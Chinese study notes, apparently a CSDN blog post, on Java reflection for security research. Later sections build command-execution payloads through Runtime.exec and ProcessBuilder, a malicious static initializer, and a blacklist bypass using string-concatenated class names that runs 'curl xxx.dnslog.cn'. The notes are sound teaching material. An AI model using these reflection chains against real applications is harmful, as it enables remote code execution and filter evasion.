Java安全学习笔记-反射篇

反射是大多数语言里都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。

​ 反射可以做到:

  1. 用对象获取他的类
  2. 用类拿到所有方法
  3. 拿到方法可以调用

一段代码,改变其中的变量量,将会导致这段代码产生功能性的变化,我称之为动态特性。

一、基础知识

1. 获取Class对象的方式

-------->即 获取到java.lang.Class对象,简称类对象

  • Class.forName(“全类名”)

如果你知道某个类的名字,想获取到这个类,就可以使用 forName 来获取

  • 类名.class

如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接
拿它的 class 属性即可。这个方法其实不属于反射。

  • 对象.getClass()

如果上下文中存在某个类的实例例 obj ,那么我们可以直接通过obj.getClass() 来获取它的类

2. Class对象功能 (略写)

  • 获取成员变量:getField

  • 获取构造方法: getConstructor

    • ​ 实例化类对象—newInstance
  • 获取成员方法:getMethod

    • ​ 执行方法—invoke
  • 获取全类名:getName

《整理》获取指定的 public获取所有public获取指定的(含私有)获取所有的(含私有)
成员变量getField(String name)getFields()getDeclaredField(String name)getDeclaredFields()
构造方法getConstructor(…)getConstructors()getDeclaredConstructor(…)getDeclaredConstructors()
成员方法getMethod(…)getMethods()getDeclaredMethod(…)getDeclaredMethods()

3. 关键函数介绍

3.1 Class.forName

3.1.1 forName两个函数重载
  • Class<?> forName(String name)
  • Class<?> forName(String name, boolean initialize, ClassLoader loader)

法1可以理解为法2的封装:

Class.forName(className);
// 等于
Class.forName(className, true, currentLoader);

参数解析:

name : 类名

initialize : 是否初始化

loader : 类加载器

加载器用来告诉Java虚拟机如何加载这个类,Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime

3.1.2 initialize参数——初始化
package com.mone.reflection;
import java.io.IOException;

public class TrainPrint {
    {
        System.out.printf("Empty block initial %s\n", this.getClass());
    }

    static {
        System.out.printf("Static initial %s\n", TrainPrint.class);
    }

    public TrainPrint() {
        System.out.printf("Initial %s\n", this.getClass());
    }
}

结果如下:

//****类初始化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
    Class.forName("com.mone.reflection.TrainPrint");
}
/*  结果输出
    Static initial class com.mone.reflection.TrainPrint
 */

//****类实例化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
    TrainPrint test= new TrainPrint();
}
/*  结果输出
    Static initial class com.mone.reflection.TrainPrint
    Empty block initial class com.mone.reflection.TrainPrint
    Initial class com.mone.reflection.TrainPrint
 */

static {}是在类初始化时调用的,{}则会在构造函数的super{}后面,但在当前构造函数内容的前面。

  • 类初始化:static {}

  • 类实例化:static {} -> {} -> 构造函数

所以,forName中的initialize其实是决定是否执⾏"类初始化"。

另外,obj.getClass()Class.forName()一样,获取Class对象时会导致"类属性"被初始化,而且只会执行一次。

3.1.3 简单利用

由于在使用forName()进行类初始化时,会执行static{}中的代码,我们可以这样利用。

假设存在这样一个函数,其中name可控:

public void ref(String className) throws Exception {
	Class.forName(className);
}

实验中,对代码进一步修改来模拟服务端执行过程:

package com.mone.reflection;

public class TestRef {
    public void ref(String name)throws Exception{
        Class.forName(name);
    }

    public static void main(String[] args) throws Exception {
        String className = "com.mone.reflection.TestCalc";

        TestRef testRef = new TestRef();
        testRef.ref(className);
    }
}

攻击者可以编写一个恶意类,将恶意代码放在static {},从而执行:

import java.lang.Runtime;
import java.lang.Process;

public class TestCalc {
    static {
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

实际情况中,如何将这个恶意类带入目标机器中,需要涉及到ClassLoader的一些利用方法。

3.1.4 配合$调用内部类

在正常情况下,除了系统类,如果我们想拿到一个类,需要先import才能使用。而使用forName就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。

我们可以经常在一些源码里看到,类名的部分包含$符号,比如Fastjson在checkAutoType时就会先将$替换成.

参考链接:fastjson/parser/ParserConfig.java#L1038

$的作用是查找内部类:Java 的普通类C1中支持编写内部类C2,而在编译的时候,会生成两个文件:C1.classC1$C2.class,通过Class.forName("C1$C2")即可加载这个内部类。

3.2 getConstructor & newInstance

获取类以后,我们可以继续使用反射来获取这个类中的属性、方法,也可以实例化这个类,并调用方法。

通常需要先获取类的构造方法之后,使用newInstance()函数创建对象。

如果使用空参数构造方法创建对象,操作可以简化:直接用Class对象的newInstance方法

首先我们来认识一下通过类能获取构造方法的函数:

/**
*获取构造方法的函数
*Constructor<T> getConstructor(类<?>... parameterTypes)
*Constructor<?>[] getConstructors()  
*
*Constructor<T> getDeclaredConstructor(类<?>... parameterTypes)
*Constructor<?>[] getDeclaredConstructors()  
*/

这些函数可以分成两类,第一类是仅可获取public的构造方法,第二类(含"Declared"关键词)是可获取所有的构造方法。同时每一类中又可以分为可获取指定的和获取全部的(函数后面带"s")

getConstructor() ===》得到指定的public构造方法

getConstructors() ===》得到所有的public构造方法

getDeclaredConstructor() ===》得到指定的公/私有构造方法

getDeclaredConstructors()===》得到所有的公/私有构造方法

getConstructor(s)

​ 现假设存在Person类,类结构如下:

public class Person {
    private String name;
    private Integer age;

    //无参构造函数
    public Person() {

    }

    //单个参数的构造函数,且为私有
    private Person(String name){

    }

    //有参构造函数
    public Person(String name, Integer age){
        this.name = name;
        this.age = age;
    }

}

​ 不同方法获取构造函数和实例化结果如下:

  1. getConstructors获取所有构造函数
    Class clazz = Person.class;

    //Constructor<?>[] getConstructors()
    Constructor[] cs1 = clazz.getConstructors();
    for(Constructor cs : cs1){  
        System.out.println(cs);
    }

在这里插入图片描述

  1. getConstructor获取有参的构造函数,接收的参数是构造函数的参数类型列表。获取到构造函数后,使用newInstance来进行实例化
	Class clazz = Person.class;	

	//获取构造函数
	//public Person(String name, Integer age) 参数类型顺序要与构造函数内一致
    Constructor cs2 = clazz.getConstructor(String.class,Integer.class);
    System.out.println("constructor2 = " + cs2);
   
	//创建对象
	//Constructor类内提供了初始化方法newInstance();方法
    Object person2 = cs2.newInstance("张三", 23);   //获取的是有参的构造方法,就必须要给参数
    System.out.println(person2);

在这里插入图片描述

  1. getConstructor获取无参构造函数,使用newInstance来进行实例化
    Class clazz = Person.class;
	
	//获取构造函数
	//注意:若要获取无参构造函数,要确保Person类中有无参的构造函数,不然抛出异常
    Constructor cs3 = clazz.getConstructor();
    System.out.println("constructor1 = " + cs3);
    
	//创建对象
    Object person1 = cs3.newInstance();
    System.out.println("person1 = " + person1);

在这里插入图片描述

  1. **(重点)**对于一般的无参构造函数,我们都不会先获取无参构造器之后在进行初始化。而是直接调用Class类内的newInstance()方法
	Class clazz = Person.class;

    Object person3 = clazz.newInstance();
    System.out.println("person3 = " + person3);

在这里插入图片描述

Class.forName(“”).newInstance 本质上就是调用了类内的无参构造函数来完成实例化的
故可以得出结论 我们以后在使用 Class.forName(“”).newInstance; 反射创建对象时,一定要保证类内有无参构造函数

getDeclaredConstructor(s)

​ 对于多出个Declared关键词的两个方法,与不带这个词的两个方法的对比。如上描述,getDeclaredConstructor方法可以获取到任何访问权限的构造器,而getConstructor方法只能获取public修饰的构造器。如何获取私有的构造函数,在构造器的对象内也有setAccessible(true);方法,将其设置成true即可,即获得构造器对象cs之后,加上cs.setAccessible(true);

单例模式

​ 关于为什么要项目要使用private访问权限的构造器,使用这个构造器不就不能外部访问了嘛,不也就无法进行实例化对象了吗?无法在类的外部实例化对象正是私有构造器的意义所在,在单例模式下经常使用,整个项目只有一个对象,外部无法实例化对象,可以在类内的进行实例化并通过静态方法返回(由于实例化的对象是静态的,故只有一个对象,也就是单例的)。网上说这就是单例模式中的饿汉模式,不管是否调用,都创建一个对象,例子如下。

class SingletonDemo{
    	//私有化构造方法
    	private SingletonDemo(){
         
     }
    	//创建一个对象  类内实例化(静态的对象)
    	private static SingletonDemo singleton = new SingletonDemo();
     
    //提供public方法供外部访问,返回这个创建的对象
    public static SingletonDemo getInstance(){
    	return singleton;
    }
}
public class Singleton {
	public static void main(String[] args) {
		SingletonDemo s1 = SingletonDemo.getInstance();
		//输出对象的地址,如果有地址存在,则说明对象创建成功并获取到
		System.out.println(s1);
  
        SingletonDemo s2 = SingletonDemo.getInstance();
		//如果结果为true,则说明是同一个对象
		System.out.println(s1==s2);    //输出结果为true
	}
}

3.3 getMethod & invoke

得到了类对象,如何获取它的成员方法并执行执行需要利用到getMethod系列函数和invoke函数。

获取类对象的成员方法的函数有:

/**
*获取方法的函数
*Method getMethod(String name, 类... parameterTypes)
*Method[] getMethods() 
*
*Method getDeclaredMethod(String name, 类... parameterTypes)
*Method[] getDeclaredMethods()  
*/

和getConstuctor系列的函数一样,分有访问公有的、公私有的,也分为可获取指定的、获取所有的,函数名规则和前者一样,此处不再列举。

invoke

invoke()属于Method类,作用是对方法进行调用

  • 如果执行的是普通方法,那么第一个参数是类的实例
  • 如果执行的是静态方法,那么第一个参数可以是类的Class对象,也可以是是类的实例

即:传入类Class对象只能调用静态方法,传类的实例可以调用所有方法。

正常执行方法是 [1].method([2], [3], [4]...) ,在反射里就是method.invoke([1], [2], [3], [4]...)

getMethod
  • getMethod(),作用是通过反射获取Class对象的指定公有方法,调用getMethod()时需要根据获取的方法传递对应的参数类型列表

  • 例如需要调用Runtime.exec()方法,该方法有6个重载,以第一个为例:exec(String command),那么就需要传递一个String类的类对象

getMethod("exec", String.class)

这里延申记录一下getMethod的其他执行情况:

假设person类的eat方法有3个重载:

在这里插入图片描述

  1. 获取指定名称的方法getMethod()
	Class clazz = Person.class;

	//情况1.获取无参的eat()方法    
    Method eat_m1 = clazz.getMethod("eat");
    //用invoke执行方法
    Person person = new Person();
    Object rtValue = eat_method1.invoke(person);//如果方法有返回值类型可以获取到,没有就为null
    //输出返回值 eat()方法没有返回值,故输出null

	//情况2.获取有参的eat()方法
	Method eat_method2 = personClass.getMethod("eat", String.class);
	Method eat_method3 = personClass.getMethod("eat", String.class, String.class);
    //执行方法
    eat_method2.invoke(person,"饭");
	eat_method3.invoke(person,"饭","水果");

在这里插入图片描述

  1. 获取方法列表getMethods()
Method[] methods = personClass.getMethods();
    for(Method method : methods){     //注意:获取到的方法名称不仅仅是我们在Person类内看到的方法
        System.out.println(method);   //继承下来的方法也会被获取到(当然前提是public修饰的)

在这里插入图片描述

我们可以看出还打印了Object类内的方法,所以Person的父类内的public修饰的方法也可以获取到。

  1. 关于获取成员方法们的另外两个方法
Method[] getDeclaredMethods()  
Method getDeclaredMethod(String name,<?>... parameterTypes)

method.setAccessible(true);   //暴力反射

​ 同之前的叙述一样,带有Declared关键字的方法这两个方法,可以获取到任意修饰符的方法。同样的提供了setAccessible(true);方法行暴力反射。

综上说述:对于反射机制来说,在反射面前没有公有私有,都可以通过暴力反射解决。

getName

getName()方法获取的方法名仅仅就是方法名(不带全类名),且不带有参数列表。

@Test
public void reflect6() throws NoSuchMethodException {
    Class personClass = Person.class;
    Method[] methods = personClass.getMethods();
    for(Method method : methods){
        System.out.println(method);
        //获取方法名
        String name = method.getName();  
        System.out.println(name);   
    }
}

在这里插入图片描述

二、Java安全利用

1. Class.newInstance调用失败

由上所述我们知道,class.newInstance() 是Java反射框架中类对象创建新的实例化对象的方法。能直接调用这个类的无参构造函数,用于创建对象。

但在实际写payload调用newInstance不成功时,原因可能是:

  • 使用的类没有无参构造函数
  • 使用的类构造函数是私有的

2. 调用私有的类构造方法

最常见的情况就是java.lang.Runtime,这个类在构造命令执行Payload时经常用到,但不能直接这样来执行命令:

package com.mone.reflection;

public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "calc");
    }
}

报错:

在这里插入图片描述

原因是java.lang.Runtime这个类的构造方法是私有的,这里涉及到单例模式的设计思想

    //Runtime类:

	private Runtime() {}  //构造方法私有,不能在外部实例化
    //在该类被初始化时会在内部创建一个静态的本类的对象
    private static Runtime currentRuntime = new Runtime();
    //静态工厂方法,可以用类来调用,返回本类的对象,在外部可能接收该对象
    //因为Runtime 类本身的构造方法是私有化的,如果想取得一个 Runtime 实例,则只能通过:`Runtime run = Runtime.getRuntime();`
    public static Runtime getRuntime() {   //注意它是静态方法
        return currentRuntime;
    }
  • 比如Web应用中的数据库链接,通常只需要链接一次。此时可以将数据库链接所使用的类的构造函数设为私有,这样只有在类初始化时才会执行一次构造函数,然后通过编写一个静态方法来获取这个数据库对象。

这里Runtime类也使用了单例模式,因此只能通过Runtime.getRuntime()来获取Runtime对象。所以需要修改为:

package com.mone.reflection;

public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc");
    }
}

将该payload分解理解:

	Class clazz = Class.forName("java.lang.Runtime");
    Method execMethod = clazz.getMethod("exec", String.class);
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Object runtime = getRuntimeMethod.invoke(clazz);
    execMethod.invoke(runtime,"open /System/Applications/Calculator.app");

这里有两个问题:

  • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,怎样通过反射实例化该类?
  • 如果一个方法或构造方法是私有方法,是否能够通过反射执行?

3. 用反射替代强制类型转换

第一个问题,我们需要用到getConstructor

class.getConstructor()作用是获取构造函数对象,接收的参数是构造函数的参数类型列表。获取到构造函数后,使用newInstance来进行实例化

ProcessBuilder类为例,它和Runtime一样也是一种执行命令的方式,该类有两个构造函数:

  • public ProcessBuilder(List<String> command)
  • public ProcessBuilder(String... command)

第一种构造函数,需要传入List.class类对象。先通过反射来获取其构造函数,再调用start()方法执行命令:

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc"))).start();
    

这个Payload用到了强制类型转换,实际情况下利用漏洞的时候(在表达式上下文中)没有这种语法,所以需要利用反射来完成这一步:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc")));

这里通过getMethod("start")获取到start方法,然后invoke执行,invoke的第一个参数就是ProcessBuilder类对象

4. 可变长参数

对于可变长参数,Java在编译的时候会把它编译成一个数组,即:

public void hello(String...names) {}
//在底层写法是等价的
public void hello(String[] names) {}

所以我们使用时中可以直接传数组:

String[] names = {"hello", "world"};
hello(names);

因此,在反射的过程中,遇到目标函数里包含可变长参数,就把它看作为数组即可。

ProcessBuilder类的第二种构造函数public ProcessBuilder(String... command),这里(String… command)表示这个函数的参数个数是可变的,是可变长参数,我们用字符串数组的类 String[].class传给getConstructor,获取ProcessBuilder的第二种构造函数:

Class clazz = Class.forName("java.lang.ProcessBuilder");
constructor pb_cs = clazz.getConstructor(String[].class);

在调用newInstance的时候,因为这个函数本身接收的是一个可变长参数,ProcessBuilder所接收的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

这里前面还用了强制类型转换,改成完全反射编写:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));

5. 用反射获取私有构造方法

如果一个方法或构造方法是私有方法,是否能够通过反射执行?

​ 可以。我们可以使用getDeclared系列的反射,具体方式见上文。它能够获取当前类中“声明”的方法/构造方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。

  • java.lang.Runtime类为例,前文说到这个类的构造方法是私有的,使用了getMethod()invoke()函数联合的方法(详见小节【Class.newInstance调用失败】)。这里可以直接调用getDeclaredConstructor()来获取这个私有的构造方法来实例化对象,从而执行命令。
  • 需要注意的是,获取私有方法后需要用setAccessible()修改其作用域,否则仍然不能调用。
package com.mone.reflection;
import java.lang.reflect.Constructor;

public class TestDeclared {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor cs = clazz.getDeclaredConstructor();
        cs.setAccessible(true);

        clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "calc");
    }
}

6. 沙盒绕过

在安全研究中,我们使用反射的一大目的,就是绕过某些沙盒。比如,上下文中如果只有Integer类型的数字,我们如何获取到可以执行命令的Runtime类呢?也许可以这样(伪代码):1.getClass().forName("java.lang.Runtime")

Code-Breaking 2018中某道题的第三方Writup:http://rui0.cn/archives/1015

在JAVA中我们可以通过下面代码来执行命令:

Runtime.getRuntime().exec("curl xxx.dnslog.cn")

由于有黑名单,使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxx.dnslog.cn");

整理分析:

String.class.getClass()            // 获取 Class 对象
.forName("java.lang.Runtime")      // 获取 Runtime 对象
.getMethod("exec", String.class)   // 获取 exec 方法
.invoke(                           // 反射调用 exec 方法  (0)
    String.class.getClass()        // 同上,获取并调用 getRuntime 方法
    .forName("java.lang.Runtime")
    .getMethod("getRuntime")	   //(1)
    .invoke(                       // 同上,获取 Runtime 对象
        String.class.getClass()    //(2)
    .forName("java.lang.Runtime")
    ), 
  "curl xxx.dnslog.cn"             // exec 方法参数
);

(0)invoke调用exec方法,第一参数是应是Runtime对象,第二个参数是要执行的命令即"curl xxx.dnslog.cn"。

(1)要获取Runtime对象,则要获取并调用getRuntime方法

(2)getRuntime()是无参的静态方法,所以第一个参数是Runtime类的Class对象

三、疑点与发现

int和Integer

做实验的时候发现一件事

在这里插入图片描述

一开始我还很疑惑为啥俩结果不一样,是我基础太差了哈,c4那个应该写成Interger.class 。 Integer是int的包装类;int是基本数据类型。

but,我又觉得奇怪,int既然是数据类型为啥也有Class对象。

Baidu结果:

​ 有9个预先定义好的Class对象代表8个基本类型和void,它们被java虚拟机创建,和基本类型有相同的名字Boolean, byte, char, short, int, long, float, and double.

  这8个基本类型的Class对象可以通过java.lang.Boolean.TYPE, java.lang.Integer.TYPE等来访问,同样可以通过int.class, boolean.class等来访问.

​ int.class与Integer.TYPE是等价的,但是与Integer.class是不相等的,int.class指的是int的Class对象,Integer.class是Integer的Class的类对象.

new和newInstance

在学习通过用反射来代替强制类型转换的时候想的一个问题

在这里插入图片描述

这里之所以要强制类型是因为前面那一堆newInstace出来的对象属于Object类,而start()方法的使用在ProcessBuilder上的,ProcessBuilder pb = new ProcessBuilder(list); pb.start(); 所以需要强制类型转换???

实验中,不加强制类型转换,显示start()前面的东西是 java.lang.Object 类?对象?

在这里插入图片描述

加了强制类型转换,故意报错得到信息:显示start()前面的东西是 java.lang.ProcessBuilder 类?对象?

在这里插入图片描述

实例化PB成pb1,并且调用错误方法引发报错,得到信息:pb1是一个类型为PB的变量???

在这里插入图片描述

通过Baidu,得到了答案:

首先,反射机制创建的实例是不能直接获取方法的,就是newInstance出来的对象不能直接调用它的方法,如:

Person.class.getConstructor().newInstance().eat();

是不可以的,如果非要这么写就得强制类型转换: (还得注意是这个类要有无参的构造方法)

((Person)Person.class.getConstructor().newInstance()).eat();

要强制类型转换的原因是:

  • 因为得到person是Object类型的,不知道具体属于哪个类型,所以里面的方法和属性也是未知的。
  • 反射是框架设计的灵魂,什么是框架呢?就是一个半成品的软件,我们在框架的基础上进行开发去简化编码。当选择使用反射的时候,那就说明这是通用模版,所需要的类,方法名,参数都是未知的,需要传过来的。

然后是newnewInstance() 的区别:

在调用空参构造器的时候new和newInstance() 的效果是一样的,所以new出来的也是对象而不是变量啦!(差点怀疑人生)

  • new 是关键字,我们可以任意调用构造函数来创建对象实例;若对应类的class文件未加载,则加载对应的class文件,进行类的链接、初始化操作。

  • newInstance() 是方法,返回Object类型,创建对应的运行时类的对象。内部调用了运行时类的空参的构造器。

newInstance()是实现IOC、反射、面对接口编程 和 依赖倒置 等技术方法的必然选择,new 只能实现具体类的实例化,不适合于接口编程

参考文章:

https://blog.csdn.net/lvzhi0588/article/details/103314788

https://blog.csdn.net/Ray327_/article/details/124901644

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值